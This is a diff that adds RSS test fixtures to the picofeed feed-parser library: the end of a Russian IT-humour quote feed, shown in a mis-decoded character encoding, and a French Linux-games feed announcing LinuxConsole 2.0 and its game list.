+ <title>Öèòàòà #15840</title>
+ <pubDate>Wed, 01 May 2013 11:25:56 +0400</pubDate>
+ <description><![CDATA[&lt;Rylov&gt; ïðîãðàììà íà WPF çàíèìàåò 20êá, íî ÷òî áû åå çàïóñòèòü íóæíî .netFramework 3.5 êîòîðûé âåñèò 200ìá :) <br />&lt;Nekt&gt; ïðîãðàììà íà àññåìáëåðå çàíèìàåò 58 áàéò. Íî ÷òîáû åå çàïóñòèòü — íóæåí i386 ïðîöåññîð âåñîì îêîëî 50 ãðàìì :)]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15845</guid>
+ <link>http://ibash.org.ru/quote.php?id=15845</link>
+ <title>Öèòàòà #15845</title>
+ <pubDate>Wed, 01 May 2013 11:22:02 +0400</pubDate>
+ <description><![CDATA[r@ttler: <br />â ïðîåêòå ñòîëüêî çàäíèö, ÷òî ÿ íå çíàþ ÷åðåç êàêóþ ñäåëàòü]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15848</guid>
+ <link>http://ibash.org.ru/quote.php?id=15848</link>
+ <title>Öèòàòà #15848</title>
+ <pubDate>Wed, 01 May 2013 11:21:35 +0400</pubDate>
+ <description><![CDATA[reineke: Âîîáùå ñîâðåìåííûå àéòèøíèêè - ýòî òàêîé àíàëîã ïèñöîâ Äðåâíåãî ìèðà è ìîíàõîâ-áîãîñëîâîâ Ñðåäíåâåêîâüÿ. À ëåïðà, õàáð, àíîíáîðäû, Ïèðàòñêàÿ áóõòà è Âèêèïåäèÿ - ýòî ïðîîáðàçû ðûöàðñêèõ îðäåíîâ. <br />Ïðîñòî åù¸ ðàíî :-). <br /> <br />nextstage: Äà, ó íàñ ïîïóëÿðíà àñêåçà ñ óñìèðåíèåì ïëîòè, à òàêæå èìååòñÿ ñêëîííîñòü ê ñâÿùåííûì âîéíàì.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15854</guid>
+ <link>http://ibash.org.ru/quote.php?id=15854</link>
+ <title>Öèòàòà #15854</title>
+ <pubDate>Wed, 01 May 2013 11:19:09 +0400</pubDate>
+ <description><![CDATA[Êîììåíòàðèé â êîäå: <br /># Looks ugly? Oh not, it&#039;s just complicated and deep hierarchical structure. Although...]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15865</guid>
+ <link>http://ibash.org.ru/quote.php?id=15865</link>
+ <title>Öèòàòà #15865</title>
+ <pubDate>Wed, 01 May 2013 11:16:04 +0400</pubDate>
+ <description><![CDATA[&lt;e-raiser_v.2.0&gt; îáíîâëåíèå ïðèøëî: Ôàéë Readme ïàêåòà îáíîâëåíèÿ 2 (SP2) äëÿ SQL Server 2005 - 56.4ìá <br />&lt;e-raiser_v.2.0&gt; îíè òàì ñîâñåì îõ#$ëè? <br />&lt;igorsh&gt; ïðîñòî î÷åíü ïîäðîáíîå ðèäìè]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15868</guid>
+ <link>http://ibash.org.ru/quote.php?id=15868</link>
+ <title>Öèòàòà #15868</title>
+ <pubDate>Wed, 01 May 2013 11:15:04 +0400</pubDate>
+ <description><![CDATA[xxx: ëîë èíòåðåñíî à ÷òî â ÷ëåíàõ w3c ìîæåò äåëàòü &quot;íàöèîíàëüíûé èíñòèòóò ðàêà&quot;?) <br />http://www.w3.org/Consortium/Member/List <br /> <br />yyy: ëîááèðóåò IE :)]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15897</guid>
+ <link>http://ibash.org.ru/quote.php?id=15897</link>
+ <title>Öèòàòà #15897</title>
+ <pubDate>Wed, 01 May 2013 11:11:14 +0400</pubDate>
+ <description><![CDATA[Capitan Nemo: Îäèí ïðîãðàììèñò î÷åíü ïëîõî ó÷èëñÿ â èíñòèòóòå, åãî îò÷èñëèëè è îòïðàâèëè â àðìèþ. Íî è òàì äëÿ íåãî íàøëàñü ðàáîòà! Ñìîòðèòå â êèíîòåàòðàõ &quot;Êîä â ñàïîãàõ&quot;]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15946</guid>
+ <link>http://ibash.org.ru/quote.php?id=15946</link>
+ <title>Öèòàòà #15946</title>
+ <pubDate>Wed, 01 May 2013 10:19:01 +0400</pubDate>
+ <description><![CDATA[Èç âîïðîñîâ ê Áèëë Ãåéòñó. <br />xxx: What do two of the most influential people in the world talk about when they sit around and spend an afternoon together? <br />yyy: Linux.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15952</guid>
+ <link>http://ibash.org.ru/quote.php?id=15952</link>
+ <title>Öèòàòà #15952</title>
+ <pubDate>Wed, 01 May 2013 10:08:19 +0400</pubDate>
+ <description><![CDATA[Èç ïèñüìà êëèåíòà â ñàïïîðò ïî ïîâîäó ïëîõîé ðàáîòû èíòåðíåòà: <br />&quot;äóìàë êîìï åìó ëåò 7,îáãðåéäèë âèäåîêàðòó äåíüãè âûêèíóë áåñòîëêó íè÷¸ íå èçìåíèëîñü!!!&quot;]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15986</guid>
+ <link>http://ibash.org.ru/quote.php?id=15986</link>
+ <title>Öèòàòà #15986</title>
+ <pubDate>Wed, 01 May 2013 10:02:49 +0400</pubDate>
+ <description><![CDATA[- Êàê òàê âûõîäèò, ÷òî íà ðàáîòå òû êîäèøü ÷åðåç æîïó, à èç äîìà ïðèñûëàåøü ÷óòü ëè íå âûñòàâî÷íî-ïîêàçàòåëüíûé âàðèàíò? Òåáå òàì êòî-òî ïîìîãàåò?! <br />- Êîò <br />- Î_î Òâîé êîò êîäèò ëó÷øå òåáÿ? <br />- Äà íå. Ìîæåò è äèêî çâó÷èò, íî êîò ó ìåíÿ çà ïðîâåðÿþùåãî. Îí ïðîñòî ðÿäîì íà ñòîëå âàëÿåòñÿ ïîñòîÿííî. È êîãäà ÿ ïèøó êîä ïîñìàòðèâàåò â ìîíèê. Åñëè îí ëåíèâî ëåæèò è ñìîòðèò - âñ¸ çàåáîê. À åñëè âñòàåò, ïðèñòàëüíî òàê ïîñìîòðèò íà òåáÿ, çåâàåò è âåñüìà ïîêàçàòåëüíî ïîâîðà÷èâàåòñÿ ê òåáå æîïîé - òî ëó÷øå ïåðåïðîâåðèòü ýòîò êóñîê. <br />- Ãîíèøü <br />- Êîòîì êëÿíóñü :) <br />- À çíàåøü ÷òî?  æîïó ýòî! ß ñåé÷àñ ïîéäó ïîãîâîðþ ñ Ãåíàäè÷åì, ïóñòü òåáå íà ðàáîòó ðàçðåøàåò ñ êîòîì ïðèõîäèòü!]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16000</guid>
+ <link>http://ibash.org.ru/quote.php?id=16000</link>
+ <title>Öèòàòà #16000</title>
+ <pubDate>Wed, 01 May 2013 10:02:00 +0400</pubDate>
+ <description><![CDATA[&lt;ForNeVeR&gt; Êòî ïèñàòü íå õî÷åò êîä <br />&lt;ForNeVeR&gt; - òîò íà òîïëèâî ïîéä¸ò!]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16002</guid>
+ <link>http://ibash.org.ru/quote.php?id=16002</link>
+ <title>Öèòàòà #16002</title>
+ <pubDate>Wed, 01 May 2013 10:01:57 +0400</pubDate>
+ <description><![CDATA[lumbrius: ÿ òóò íà ïðîøëîé íåäåëå èñïûòàë ýïèê ôåéë, êàê áëîíäèíêà ïðÿìî <br />õîòåë ïîäêëþ÷èòü ìîíèòîð îò êàôåäðàëüíîãî ñåðâåðà ê ñâîåìó, ÿ óäèâëÿëñÿ, ÷òî îí íè÷åãî íå ïîêàçûâàë. òîëüêî ñåãîäíÿ äîøëî, ÷òî ÿ âûíèìàë VGA êàáåëü èç ìîíèòîðà è âòûêàë â ñâîé ñåðâåð, ñîåäèíÿÿ äâå âèäåîêàðòû <br />Êîíñòàíòèí: ëîë <br />Êîíñòàíòèí: Íå ðàññòðàèâàéñÿ, òû ïðîñòî äåëàë CUDA êëàñòåð äëÿ íàó÷íûõ âû÷èñëåíèé.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16008</guid>
+ <link>http://ibash.org.ru/quote.php?id=16008</link>
+ <title>Öèòàòà #16008</title>
+ <pubDate>Wed, 01 May 2013 10:01:30 +0400</pubDate>
+ <description><![CDATA[Â òåõ ïîääåðæêå ïðîâàéäåðà ìóçûêà íà îæèäàíèè: Áîëèò äóøà îò ïîòåðü, âåðþ ÿ òû òî æå âåðü..]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16009</guid>
+ <link>http://ibash.org.ru/quote.php?id=16009</link>
+ <title>Öèòàòà #16009</title>
+ <pubDate>Wed, 01 May 2013 10:01:25 +0400</pubDate>
+ <description><![CDATA[&lt;xxx&gt; òîëüêî çàìåòèë îí íàçâàë ãèòõàá äæèõàáîì, àðàáñêèé îïåíñîðñ òîëüêî äëÿ ïðàâîâåðíûõ, ñìåðòü íåâåðíûì! èíøàëëà <br />&lt;yyy&gt; xxx: õåíäøåéê ñåòåâîãî ñîåäèíåíèÿ ïî íîâîìó ñòåêó ïðîòîêîëîâ Islam Protocol äîëæåí íà÷èíàòüñÿ ñî ñëîâ õâàëû Àëëàõà è ïðîðîêà åãî. <br />&lt;yyy&gt; Ìîæíî åùå ÆèäÕàá ïðèäóìàòü. <br />&lt;yyy&gt; Íî íóæíî ñðàçó ìîäåëü ìîíåòèçàöèè ïðîäóìûâàòü â òàêîì ñëó÷àå. <br />&lt;yyy&gt; Èíà÷å íå âçëåòèò. <br />&lt;xxx&gt; îé âåé, òàêè äà <br />&lt;zzz&gt; è ïî ñóááîòàì îí ëåæèò <br />&lt;yyy&gt; Ïî ñóááîòàì îí ïåðåíàïðàâëÿåò çàïðîñû íà ãîéñêèé ãèòõàá. <br />&lt;zzz&gt; òîãäà ÷î óæ, îí âîîáùå ïåðåíàïðàâëÿåò çàïðîñû íà ãèòõàá, à ñàì òîëüêî ìîíåòèçèðóåò <br />&lt;xxx&gt; äà, ïóñòü ãîè ðàáîòàþò, à æèäõàá òîëüêî ìîíåòèçèðóåò )]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16010</guid>
+ <link>http://ibash.org.ru/quote.php?id=16010</link>
+ <title>Öèòàòà #16010</title>
+ <pubDate>Tue, 30 Apr 2013 13:00:42 +0400</pubDate>
+ <description><![CDATA[feanor: íèêòî íå âèäåë ãîäíîãî àëãîðèòìà äëÿ âû÷èñëåíèÿ ïîëîæåíèÿ Ñîëíöà/Ëóíû? <br />feanor: &#039;printf(&quot;íà íåáå&quot;);&#039; íå ïðåäëàãàòü - ÿ ñàì äîõðåíà ïåòðîñÿí]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16019</guid>
+ <link>http://ibash.org.ru/quote.php?id=16019</link>
+ <title>Öèòàòà #16019</title>
+ <pubDate>Tue, 30 Apr 2013 13:00:23 +0400</pubDate>
+ <description><![CDATA[soider&gt; áîëüøå âñåãî ìåíÿ ïóãàåò ùà òî ÷òî íåñêîëüêî ëåò íàçàä ÿ ïèñàë íà ïõï è ìíå êàçàëîñü ýòî íîðìàëüíûì]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16043</guid>
+ <link>http://ibash.org.ru/quote.php?id=16043</link>
+ <title>Öèòàòà #16043</title>
+ <pubDate>Tue, 30 Apr 2013 13:00:17 +0400</pubDate>
+ <description><![CDATA[&lt;Corvus`&gt; | mva: Ïîòîìó ÷òî sdb5 ñòàíîâèòñÿ sdc5 åñëè òåëåôîí ïîäêëþ÷èòü. <br />&lt;mva&gt; | ϸòòåðèíã ýòî èñïðàâèò ñêîðî <br />&lt;Corvus`&gt; | À òàê-òî äà, èñïðàâèò, ýòî òî÷íî. <br />&lt;Corvus`&gt; | Áóäåò predictable. <br />&lt;mva&gt; | ñäåëàåò /dev/sdp3b9c4p8a7]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16041</guid>
+ <link>http://ibash.org.ru/quote.php?id=16041</link>
+ <title>Öèòàòà #16041</title>
+ <pubDate>Tue, 30 Apr 2013 13:00:16 +0400</pubDate>
+ <description><![CDATA[xxx: Íàñòîÿùèé ãèê æåíèòñÿ èñêëþ÷èòåëüíî 29 ôåâðàëÿ, ÷òîáû îòìå÷àòü 4, 8, 16, 32 è 64 ãîäà ñîâìåñòíîé æèçíè!]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16042</guid>
+ <link>http://ibash.org.ru/quote.php?id=16042</link>
+ <title>Öèòàòà #16042</title>
+ <pubDate>Tue, 30 Apr 2013 13:00:02 +0400</pubDate>
+ <description><![CDATA[xxx: ß êàê-òî ñïðîñèë &quot;êàê íàñ÷¸ò âèðòà?&quot;, ìíå îòâåòèëè &quot;õîðîøî))&quot;, òîãäà ÿ ïîïðîñèë îáúÿñíèòü íà÷àëî 6-é ãëàâû &quot;Ïîñòðîåíèÿ êîìïèëÿòîðîâ&quot;, è ìíå îáúÿñíèëè. ß çàðàáîòàë áàòòõ¸ðò, òàê êàê ñàì å¸ íå ÷èòàë, çàêðûë ÷àò è áîëüøå òàì íå òðîëëèðóþ. <br />xxx: ×òî îáèäíî, ýòî áûë ïåðâûé, íà êîì ÿ îïðîáîâàë ýòó ñìèùíóþ øóòêó.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15948</guid>
+ <link>http://ibash.org.ru/quote.php?id=15948</link>
+ <title>Öèòàòà #15948</title>
+ <pubDate>Sun, 28 Apr 2013 00:16:07 +0400</pubDate>
+ <description><![CDATA[[16:11:15] nezhivykh_sl1: åñëè åñòü äîêóìåíòàöèÿ ïðî÷èòàþ äîêóìåíòàöèþ <br />[16:11:29] nezhivykh_sl1: êîììåíòû áåñïîëåçíû <br />[16:11:41] nezhivykh_sl1: òàì îáû÷íî ïèøóò //ïåðåïèñàòü ýòî ãîâíî]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15951</guid>
+ <link>http://ibash.org.ru/quote.php?id=15951</link>
+ <title>Öèòàòà #15951</title>
+ <pubDate>Sun, 28 Apr 2013 00:15:00 +0400</pubDate>
+ <description><![CDATA[&lt;EtherCrow&gt; â ñâÿçè ñ íîâîñòüþ ïðî îïåðó ïîñîíû ñïðàøèâàþò, êîãäà rar ïåðåéäåò íà 7z]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15963</guid>
+ <link>http://ibash.org.ru/quote.php?id=15963</link>
+ <title>Öèòàòà #15963</title>
+ <pubDate>Sun, 28 Apr 2013 00:11:28 +0400</pubDate>
+ <description><![CDATA[xxx: íîóò êîå-÷åì íà âåëîñèïåä ïîõîæ <br />xxx: çàìåòèë âîñüìåðêó íà äèñêå - ïîñòàðàéñÿ óáðàòü]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15965</guid>
+ <link>http://ibash.org.ru/quote.php?id=15965</link>
+ <title>Öèòàòà #15965</title>
+ <pubDate>Sun, 28 Apr 2013 00:11:00 +0400</pubDate>
+ <description><![CDATA[Ïîäñìîòðåíî ïðè ñáîðêå BSP: <br />compiler: gcc -std=gnu99 <br />cflags: -pipe -DANOTHER_BRICK_IN_THE -Wall -W...]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15967</guid>
+ <link>http://ibash.org.ru/quote.php?id=15967</link>
+ <title>Öèòàòà #15967</title>
+ <pubDate>Sun, 28 Apr 2013 00:10:21 +0400</pubDate>
+ <description><![CDATA[&lt;cahbtexhuk&gt; è ïîäóìûâàåì î ñèñòåìå ñ íàéòëè äèëäàìè <br />&lt;cahbtexhuk&gt; *áèëäàìè]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15970</guid>
+ <link>http://ibash.org.ru/quote.php?id=15970</link>
+ <title>Öèòàòà #15970</title>
+ <pubDate>Sun, 28 Apr 2013 00:09:27 +0400</pubDate>
+ <description><![CDATA[&gt;&gt;&gt; ...HR â ïåðâûé ðàç íà òåõíè÷åñêîì èíòåðâüþ <br />&gt;&gt;&gt;… Óâëå÷åííîå îáñóæäåíèå ëèíóêñ ïðîöåññîâ ñ êàíäèäàòîì, ñëûøíî «çîìáè, äåòè… ðîäèòåëè… óáèòü äåòåé… äåìîíû… óáèòü äåìîíà, çîìáè… óáèòûå äåòè» <br />&gt;&gt;&gt; (HR òåìíåÿ ëèöîì, õðèïëûì øåïîòîì) ÂÛ Î ×ÅÌ??]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15971</guid>
+ <link>http://ibash.org.ru/quote.php?id=15971</link>
+ <title>Öèòàòà #15971</title>
+ <pubDate>Sun, 28 Apr 2013 00:08:56 +0400</pubDate>
+ <description><![CDATA[-Ïî÷åìó ó ìåíÿ íå ðàáîòàåò PrintScreen? <br />-Íàâåðíîå â ÿäðå îòêëþ÷åí MAGIC_SYSRQ]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15974</guid>
+ <link>http://ibash.org.ru/quote.php?id=15974</link>
+ <title>Öèòàòà #15974</title>
+ <pubDate>Sun, 28 Apr 2013 00:07:58 +0400</pubDate>
+ <description><![CDATA[Shock: Åñëè ñåðâåðíûé ïðîãðàììèñò ñêàçàë, ÷òî ïîôèêñèò ýòî, òî îí ïîôèêñèò. È íåòó ñìûñëà íàïîìèíàòü åìó îá ýòîì êàæäûé ìàéëñòîóí.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15978</guid>
+ <link>http://ibash.org.ru/quote.php?id=15978</link>
+ <title>Öèòàòà #15978</title>
+ <pubDate>Sun, 28 Apr 2013 00:07:00 +0400</pubDate>
+ <description><![CDATA[xxx: ñòàðàÿ èñòèíà <br />xxx: íå÷åãî äåëàòü - äåëàé áýêàïû]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15979</guid>
+ <link>http://ibash.org.ru/quote.php?id=15979</link>
+ <title>Öèòàòà #15979</title>
+ <pubDate>Sun, 28 Apr 2013 00:06:53 +0400</pubDate>
+ <description><![CDATA[xxx: Ñ íåòåðïåíèåì æäó ñëèÿíèÿ ïðîåêòîâ systemd è leechcraft.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15984</guid>
+ <link>http://ibash.org.ru/quote.php?id=15984</link>
+ <title>Öèòàòà #15984</title>
+ <pubDate>Sun, 28 Apr 2013 00:05:29 +0400</pubDate>
+ <description><![CDATA[xxx: êîìïèëèðîâàë ñåãîäíÿ linux äëÿ arm. íîâûé êîíôèã ìíå âûäàë àíêåòêó âîïðîñîâ íà 150, ïîëîâèíó èç êîòîðûõ ÿ âîîáùå íå ïîíÿë <br />xxx: íå óäèâëþñü, åñëè â êîíöå êîìïèëÿöèè îí íàïèøåò &quot;Âàø IQ ðàâåí 35&quot;]]></description>
+ </item>
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/jeux-linux.fr.xml b/vendor/fguillot/picofeed/tests/fixtures/jeux-linux.fr.xml
new file mode 100644
index 000000000..e4e29bbc7
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/jeux-linux.fr.xml
@@ -0,0 +1,924 @@
+<?xml
+version="1.0" encoding="utf-8"?>
+<rss version="2.0"
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:content="http://purl.org/rss/1.0/modules/content/"
+>
+
+<channel xml:lang="fr">
+
+ <title>Jeuxlinux - Le site des jeux pour linux</title>
+ <link>http://www.jeuxlinux.fr/</link>
+ <description></description>
+ <language>fr</language>
+ <generator>SPIP - www.spip.net</generator>
+
+
+
+
+ <item xml:lang="fr">
+ <title>Le renouveau de LinuxConsole</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1342</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1342</guid>
+ <dc:date>2013-12-30T12:16:44Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+
+ <description>LinuxConsole est une distribution qui a pour but de transformer votre PC en console de jeux tournant sur Linux (les plus perspicaces devraient avoir compris l'origine du nom maintenant). Apr&#232;s des ann&#233;es de silence, la verson 2.0 vient de sortir. Vous voulez en savoir plus ? Alors lisez la suite (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+
+ </description>
+
+
+ <content:encoded>&lt;div class='rss_texte'&gt;&lt;p&gt;LinuxConsole est une distribution qui a pour but de transformer votre PC en console de jeux tournant sur Linux (les plus perspicaces devraient avoir compris l'origine du nom maintenant). Apr&#232;s des ann&#233;es de silence, la verson 2.0 vient de sortir. Vous voulez en savoir plus ? Alors lisez la suite par Yann LeDoar&#233; de LinuxConsole :
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;Sommaire&lt;/strong&gt;
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; * Pourquoi une si longue attente ?&lt;/li&gt;&lt;li&gt; * LinuxConsole 2.0 : ce qui a chang&#233;&lt;/li&gt;&lt;li&gt; * Les jeux&lt;/li&gt;&lt;li&gt; * Liste des jeux de cette premi&#232;re ISO&lt;/li&gt;&lt;li&gt; * Fonctionnalit&#233;s &#224; r&#233;aliser&lt;/li&gt;&lt;li&gt; * Remerciements
+&lt;br /&gt;
+&lt;br /&gt;
+Trois ans apr&#232;s la derni&#232;re version de LinuxConsole 1.0 la version 2.0 est donc pr&#234;te !
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;Pourquoi une si longue attente ?&lt;/strong&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Un petit historique de LinuxConsole pour commencer (attention, &#231;a remonte loin !)
+&lt;br /&gt;
+&lt;br /&gt;
+Les plus jeunes l'ignorent sans doute : &#224; la fin des ann&#233;es 1990 (!) il &#233;tait possible de jouer sous Linux, avec des jeux commerciaux r&#233;cents gr&#226;ce &#224; Loki Games.
+&lt;br /&gt;
+&lt;br /&gt;
+J'ai eu l'occasion d'acheter Myth2 et &#231;a fonctionnait vraiment bien
+&lt;br /&gt;
+&lt;br /&gt;
+Le d&#233;veloppement de linuxConsole a commenc&#233; d&#233;but 2001, l'id&#233;e &#233;tant de faire un CD bootable, inspir&#233; par DemoLinux, mais avec une acc&#233;l&#233;ration 3D pour les jeux compatibles OpenGL
+&lt;br /&gt;
+&lt;br /&gt;
+LinuxConsole 0.3 sortait en 2003. Cette version re&#231;ut un prix dans la cat&#233;gorie &quot;Grand public&quot; des troph&#233;es du libre 2003 (je n'ai pas trouv&#233; de d&#233;p&#234;che linuxfr.org l&#224; dessus)
+&lt;br /&gt;
+&lt;br /&gt;
+La version 1.0 est sortie en 2007 et n'&#233;tait plus seulement orient&#233;e &quot;jeux&quot; mais g&#233;n&#233;raliste (on y trouvait gimp, blender, openoffice, cups, gnome, kde, &#8230;)
+&lt;br /&gt;
+&lt;br /&gt;
+Cette version 1.0 a connu plusieurs sous-version, et le bureau lxde a progessivement rempla&#231;&#233; icewm
+&lt;br /&gt;
+&lt;br /&gt;
+Le probl&#232;me de la version 1.0, c'est que le processus de compilation &#233;tait trop primitif pour pouvoir facilement faire des mises &#224; jour, c'est comme cela qu'est n&#233; le projet &lt;a href=&quot;http://code.google.com/p/dibab/&quot; class='spip_out' rel='external'&gt;dibab&lt;/a&gt;, dont l'utilit&#233; primitive &#233;tait de compiler une distribution enti&#232;re, from scratch.
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;LinuxConsole 2.0 : ce qui a chang&#233;&lt;/strong&gt;
+&lt;br /&gt;
+&lt;br /&gt; * Le d&#233;veloppement a repris &#224; z&#233;ro * Les pilotes propri&#233;taires ne sont plus support&#233;s * Multiple-architectures (x86, x86_64, arm) * Respect du principe KISS : &quot;ligne directrice de conception qui pr&#233;conise de rechercher la simplicit&#233; dans la conception et que toute complexit&#233; non n&#233;cessaire devrait &#234;tre &#233;vit&#233;e&quot; * Volont&#233; d'ouverture : toutes les personnes d&#233;sirant participer &#224; ce projet sont les bienvenues
+&lt;br /&gt;
+&lt;br /&gt;
+En effet, avec LinuxConsole 1.0, je prenais trop de temps pour d&#233;velopper des choses pas forc&#233;ment indispensables.
+&lt;br /&gt;
+&lt;br /&gt;
+Du coup, le mode d'utilisation a &#233;t&#233; aussi simplifi&#233; :
+&lt;br /&gt;
+&lt;br /&gt; * LiveCD * LiveUSB * Installation &#224; c&#244;t&#233; de windows (j'ai patch&#233; Wubi pour cela)
+&lt;br /&gt;
+&lt;br /&gt;
+Dans cette version, il n'y a donc pas :
+&lt;br /&gt;
+&lt;br /&gt; * la persistance des donn&#233;es (quand m&#234;me possible, mais pas officiellement support&#233;e) * l'installation sur un disque vierge * la possibilit&#233; d'installer de nouveau jeux
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;Les jeux&lt;/strong&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Je me suis associ&#233; &#224; l'association &lt;a href=&quot;http://asso.lanpower.free.fr/&quot; class='spip_out' rel='external'&gt;Lanpower&lt;/a&gt;pour s&#233;lectionner une suite de jeux qui tient sur une CD (700Mo)
+&lt;br /&gt;
+&lt;br /&gt;
+Le point de vue de Patrice de l'association LanPower :
+&lt;br /&gt;
+&lt;br /&gt;
+L'association fait la promotion des jeux libres depuis 2006 et produit des CD de jeux libres depuis 2007. Ceux-ci sont en version Windows, et cela faisait un moment que l'on r&#233;fl&#233;chissait &#224; en faire une d&#233;clinaison sous Linux sans toutefois faire la m&#234;me chose que ce que l'on peut d&#233;j&#224; trouver. Mais sur quelle distribution se baser ? Il fallait une petite distribution de base. Plusieurs candidates &#233;taient envisag&#233;es : Slitaz, ToutouLinux et LinuxConsole. Ces r&#233;flexions &#233;taient en suspens lorsqu'en septembre 2013 Yann LeDoar&#233; de LinuxConsole a contact&#233; l'association pour nous proposer une coop&#233;ration. Nous avons bien volontiers accept&#233; et le travail commen&#231;a.
+&lt;br /&gt;
+&lt;br /&gt;
+Pourquoi avoir choisi LinuxConsole ? En premier lieu, parce qu'elle est rapide &#224; d&#233;marrer(il y a longtemps qu'on l'avait rep&#233;r&#233;) et les premiers tests ont montr&#233; que l'acc&#233;l&#233;ration graphique est tr&#232;s bien support&#233;e (avec des pilotes libres pourtant). De surcro&#238;t, on peut la personnaliser, personnaliser les d&#233;pannages (modes Benchmark et Fixme). Nous avons donc commenc&#233; &#224; compiler nos premi&#232;res distributions gr&#226;ce &#224; Yann LeDoar&#233; (sans avoir la connaissance ni la comp&#233;tence pour cela).
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;Liste des jeux de cette premi&#232;re ISO&lt;/strong&gt;
+&lt;br /&gt;
+__ &lt;/li&gt;&lt;li&gt; 2H4U : m&#233;lange de Tetris et Arkanoid&lt;/li&gt;&lt;li&gt; Cultivation : un jeu de la vie par Jason Rohrer&lt;/li&gt;&lt;li&gt; Danger Deep : guerre sous-marine pendant la seconde guerre mondiale&lt;/li&gt;&lt;li&gt; FooBillard : un jeu de billard 3D&lt;/li&gt;&lt;li&gt; Do'SsiZo'la : le jeu de plateau Izzola&lt;/li&gt;&lt;li&gt; Freecraft : un clone de Warcraft 1 (ne pas confondre avec Minecraft) qui a donn&#233; BOSWar et le moteur Stratagus&lt;/li&gt;&lt;li&gt; Frozen Bubble : une reprise de Puzzle Bobble ou Bust-a-Move&lt;/li&gt;&lt;li&gt; Neverball : d&#233;placez la balle en inclinant le plateau&lt;/li&gt;&lt;li&gt; ExtremTuxRacer : Tux s'amuse&lt;/li&gt;&lt;li&gt; OpenTTD : une reprise de Transport Tycoon Deluxe avec des media libres.&lt;/li&gt;&lt;li&gt; BzFlag : du FPS 3D avec des tanks&lt;/li&gt;&lt;li&gt; Teeworlds : du FPS rapide et fun en 2D&lt;/li&gt;&lt;li&gt; Xmoto : jeu d'adresse avec une moto assez instable&lt;/li&gt;&lt;li&gt; TuxPaint dessin pour les petits&lt;/li&gt;&lt;li&gt; SupertuxKart : jeu de Kart avec les mascottes du libre
+&lt;br /&gt;
+&lt;br /&gt;
+Tous les jeux sont libres sauf Danger Deep qui l'est partiellement : media sous licence cc-nc-nd.
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;strong&gt;Fonctionnalit&#233;s &#224; r&#233;aliser&lt;/strong&gt;
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; * Persistance des donn&#233;es.&lt;/li&gt;&lt;li&gt; * Gestionnaire de paquets&lt;/li&gt;&lt;li&gt; * Variante 'xbmc' &#224; la place de lxde&lt;/li&gt;&lt;li&gt; * Version pour le 'Raspberry pi'
+&lt;br /&gt;
+&lt;br /&gt;
+Si vous avez d'autres suggestions, vous pouvez me contacter via le &lt;a href=&quot;http://www.linuxconsole.org/contact/&quot; class='spip_out' rel='external'&gt;formulaire de contact&lt;/a&gt; o&#249; sur &lt;a href=&quot;https://twitter.com/yledoare&quot; class='spip_out' rel='external'&gt;twitter&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Une liste de diffusion (en fran&#231;ais) est mise en place, vous pouvez aussi me demander de vous y inscrire
+&lt;br /&gt;
+&lt;br /&gt;
